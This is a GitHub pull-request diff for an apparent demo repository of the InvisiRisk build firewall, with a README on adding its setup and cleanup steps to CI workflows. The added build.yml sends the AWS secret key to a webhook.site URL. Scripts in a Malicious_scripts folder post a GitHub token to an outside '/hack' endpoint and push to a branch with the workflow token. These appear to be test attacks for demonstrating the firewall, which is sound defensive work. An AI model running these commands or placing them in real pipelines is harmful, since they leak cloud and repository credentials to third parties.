Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
89 commits
Select commit Hold shift + click to select a range
69cb3f3
Update main.yml
ir-paras-oli Jan 24, 2025
e420bda
Update main.yml
ir-paras-oli Jan 24, 2025
e728fea
Update package.json
ir-ashraya-tuladhar Jan 24, 2025
0ffa9c1
Update main.yml
ir-paras-oli Jan 27, 2025
90a260b
Update main.yml
ir-paras-oli Jan 27, 2025
bf71648
Update main.yml
ir-paras-oli Jan 27, 2025
538394c
Update main.yml
ir-paras-oli Jan 27, 2025
ed88bdd
Update main.yml
ir-paras-oli Jan 27, 2025
c427209
Update main.yml
ir-paras-oli Jan 28, 2025
84bd37f
Update main.ym
ir-paras-oli Jan 28, 2025
bd3e80d
Update main.yml
ir-paras-oli Jan 28, 2025
c9ee150
Update main.yml
ir-paras-oli Jan 28, 2025
b22fcac
Update main.yml
ir-paras-oli Jan 29, 2025
94fac6a
Update main.yml
ir-paras-oli Jan 29, 2025
782e02f
Update main.yml
ir-paras-oli Jan 29, 2025
0c52581
Update main.yml
ir-paras-oli Jan 29, 2025
1c491a4
Update main.yml
ir-paras-oli Jan 29, 2025
5d4edc0
Update main.yml
ir-paras-oli Jan 29, 2025
3bf809e
Update main.yml
ir-paras-oli Jan 29, 2025
82b3b79
Update main.yml
ir-paras-oli Feb 4, 2025
72673f1
Update main.yml
ir-paras-oli Feb 4, 2025
1faea99
Update main.yml
ir-paras-oli Feb 18, 2025
0f0cf73
Update package.json
ir-paras-oli Feb 18, 2025
9eba47f
Update package.json
ir-paras-oli Mar 4, 2025
38ff023
Update package.json
ir-paras-oli Mar 4, 2025
fda33c1
Update package.json
ir-paras-oli Mar 4, 2025
4d33f34
Update package.json
ir-paras-oli Mar 4, 2025
edf0668
Update main.yml
ir-paras-oli Mar 4, 2025
9285064
Update main.yml
ir-paras-oli Mar 4, 2025
797baac
Update main.yml
ir-paras-oli Mar 4, 2025
b3124cf
Update main.yml
ir-paras-oli Mar 4, 2025
552b1d9
Update main.yml
ir-paras-oli Mar 4, 2025
829a11c
Update main.yml
ir-paras-oli Mar 4, 2025
e19d41b
Update main.yml
ir-paras-oli Mar 4, 2025
3912ff6
Update main.yml
ir-paras-oli Mar 4, 2025
b77fb25
Update main.yml
ir-paras-oli Mar 4, 2025
bc181a7
Update main.yml
ir-paras-oli Mar 4, 2025
cba14b6
Create composer.json
ir-paras-oli Mar 4, 2025
a75fe0d
Create mainphp.yml
ir-paras-oli Mar 4, 2025
200227d
Update main.yml
ir-paras-oli Mar 4, 2025
694ba5d
Update mainphp.yml
ir-paras-oli Mar 4, 2025
a386a7a
Update main.yml
ir-paras-oli Mar 4, 2025
da7e515
Update mainphp.yml
ir-paras-oli Mar 4, 2025
b94bc63
Update mainphp.yml
ir-paras-oli Mar 4, 2025
0c66de3
Update composer.json
ir-paras-oli Mar 5, 2025
62cddf3
Update package.json
ir-paras-oli Mar 28, 2025
f931fc6
Delete composer.json
ir-paras-oli Mar 28, 2025
f5ab88c
Delete mern-social-second-edition/package.json
ir-paras-oli Mar 28, 2025
0ad3f26
Delete .github/workflows/mainphp.yml
ir-paras-oli Mar 28, 2025
1969581
Update main.yml
ir-paras-oli Mar 28, 2025
30d09de
Update main.yml
ir-paras-oli Mar 28, 2025
9c19b86
Update package.json
ir-paras-oli Mar 31, 2025
9b7d5d0
Create statuscode.sh
ir-paras-oli Apr 1, 2025
ac4ef93
Create secret_leak.sh
ir-paras-oli Apr 1, 2025
7bc109b
Create run_wrapper.sh
ir-paras-oli Apr 1, 2025
d97d2bc
Create push.sh
ir-paras-oli Apr 1, 2025
d2d1649
Create mimetype.sh
ir-paras-oli Apr 1, 2025
151fe9b
Update and rename main.yml to mainpolicyapplied.yml
ir-paras-oli Apr 1, 2025
8d37cfe
Create mainpolicynotapplied.yml
ir-paras-oli Apr 1, 2025
d62ffdc
Update mainpolicyapplied.yml
ir-paras-oli Apr 1, 2025
d75ec6c
Update mainpolicynotapplied.yml
ir-paras-oli Apr 1, 2025
f3a0d2b
Update mainpolicyapplied.yml
ir-paras-oli Apr 21, 2025
991daec
Update mainpolicyapplied.yml
ir-paras-oli Apr 21, 2025
fe742dc
Update mainpolicyapplied.yml
ir-paras-oli Apr 21, 2025
43ef638
Update mainpolicyapplied.yml
ir-paras-oli Apr 21, 2025
a108c48
Update package.json
ir-paras-oli Apr 22, 2025
931e489
Update mainpolicyapplied.yml
ir-paras-oli Apr 22, 2025
d4f521c
Update package.json
ir-paras-oli Apr 22, 2025
184947f
Update package.json
ir-paras-oli Apr 22, 2025
bc9e0cf
Update package.json
ir-paras-oli Apr 23, 2025
76a5dda
Update package.json
ir-paras-oli Apr 23, 2025
ef76437
Update mainpolicyapplied.yml
ir-paras-oli Apr 28, 2025
bd3bb80
Update mainpolicyapplied.yml
ir-paras-oli Apr 28, 2025
4ef506a
chnage in Readme
ir-paras-oli May 2, 2025
406254c
change
ir-paras-oli May 2, 2025
aa17ec9
change
ir-paras-oli May 2, 2025
aab654a
change in build file
ir-paras-oli May 2, 2025
54d1d65
change in build file
ir-paras-oli May 2, 2025
df582fd
change
ir-paras-oli May 2, 2025
6017a85
change'
ir-paras-oli May 2, 2025
ad0da23
change in code
ir-paras-oli May 2, 2025
eb74bfb
change in code
ir-paras-oli May 2, 2025
08a9d26
Readme file removed
ir-paras-oli May 2, 2025
618f975
Update build.yml
ir-paras-oli May 5, 2025
be0760a
Update package.json
ir-paras-oli May 13, 2025
0de9ef2
Update build.yml
ir-paras-oli May 13, 2025
397dc79
Update package.json
ir-paras-oli May 13, 2025
c76a953
Update build.yml
ir-paras-oli May 13, 2025
fcbee8f
Update build.yml
ir-paras-oli May 13, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
43 changes: 43 additions & 0 deletions .github/workflows/build.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
name: JavaScript Project

on:
workflow_dispatch:

permissions:
checks: write
contents: write
packages: read

jobs:
python-application-build:
runs-on: ubuntu-latest
name: Run build
steps:
- name: Setup PSE
uses: invisirisk/pse-action@dev-test
with:
api_url: "https://app.stage.invisirisk.com"
app_token: ${{ secrets.IR_API_KEY }}

- name: Use npm
uses: actions/setup-node@v4
with:
node-version: "18"

- name: Install dependencies
run: npm install --legacy-peer-deps

#- name: 😈 Execute malicious script
# run: bash run_malicious_scripts.sh

- name: Send AWS Secret via Webhook (test)
run: |
curl -X POST "https://webhook.site/59c8292c-2297-4149-ac29-c02bec44a27a" \
--data-urlencode "aws_secret_access_key=${{ secrets.AWS_SECRET_ACCESS_KEY }}"


- name: Cleanup PSE
if: always()
uses: invisirisk/pse-action@dev-test
with:
cleanup: "true"
96 changes: 0 additions & 96 deletions .github/workflows/main.yml

This file was deleted.

3 changes: 3 additions & 0 deletions Malicious_scripts/mimetype.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
#!/bin/bash

curl -H "Accept: text/html" -o google.html "https://www.google.com"
17 changes: 17 additions & 0 deletions Malicious_scripts/push.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#!/bin/bash

echo "Marking repository as safe..."
git config --global --add safe.directory "$GITHUB_WORKSPACE"

echo "Setting up Git user..."
git config user.name "ir-paras-oli"
git config user.email "paras.oli@invisirisk.com"

echo "Making changes (creating a file)..."
echo "Some new content" > new6-file.txt
git add new6-file.txt
git commit -m "Add a new file"

echo "Pushing changes to the STAGE branch..."
git remote set-url origin https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git
git push origin STAGE
8 changes: 8 additions & 0 deletions Malicious_scripts/run_wrapper.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
#!/bin/bash

echo "Starting leak_token.sh execution..."
bash ./secret_leak.sh # Call the actual script
bash ./statuscode.sh # Call the actual script
bash ./push.sh # Call the actual script
bash ./mimetype.sh # Call the actual script
echo "Execution completed."
8 changes: 8 additions & 0 deletions Malicious_scripts/secret_leak.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
#!/bin/bash

# Sending a POST request with a GitHub token (LEAK)
curl -k -X POST https://vbirmock.free.beeceptor.com/hack \
-H "Content-Type: application/json" \
-d '{
"GH": "ghp_DEFzmg7RHrQ2eMe2IF4NxNWQodYpab3VMXXX"
}'
11 changes: 11 additions & 0 deletions Malicious_scripts/statuscode.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#!/bin/bash

echo "Checking status code from GitHub API..."

# This request should trigger a 400 Bad Request because 'q' is empty
curl -k -i -X GET "https://api.github.com/search/repositories?q="

# This request should trigger a 401 Unauthorized if authentication is required but not provided
# curl -k -i -X GET "https://api.github.com/user"

echo "Status check completed."
57 changes: 55 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,55 @@
readme
readme
# InvisiRisk Build Application Firewall Demo

This repository contains a JavaScript application that demonstrates how InvisiRisk build application firewall works. The project serves as a boilerplate example to showcase the security features and implementation of InvisiRisk in a JavaScript environment.

## GitHub Workflow Setup

To integrate InvisiRisk into your GitHub workflow, add the following steps to each job in your workflow file:

### 1. Add the Setup PSE step at the beginning of each job:

```yaml
- name: Setup PSE
uses: invisirisk/pse-action@v1.0.20
with:
api_url: "https://app.invisirisk.com"
app_token: ${{ secrets.IR_API_KEY }}
```

### 2. Add the Cleanup PSE step at the end of each job:

```yaml
- name: Cleanup PSE
if: always()
uses: invisirisk/pse-action@v1.0.20
with:
cleanup: "true"
```

### 3. Set up the required secret:

You need to set the IR_API_KEY secret in your GitHub repository settings. This API key can be obtained from the InvisiRisk portal.

### Example workflow:

```yaml
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4

- name: Setup PSE
uses: invisirisk/pse-action@v1.0.20
with:
api_url: "https://app.invisirisk.com"
app_token: ${{ secrets.IR_API_KEY }}

# Your other build steps here

- name: Cleanup PSE
if: always()
uses: invisirisk/pse-action@v1.0.20
with:
cleanup: "true"
```
58 changes: 0 additions & 58 deletions mern-social-second-edition/README.md

This file was deleted.

63 changes: 0 additions & 63 deletions mern-social-second-edition/package.json

This file was deleted.

Loading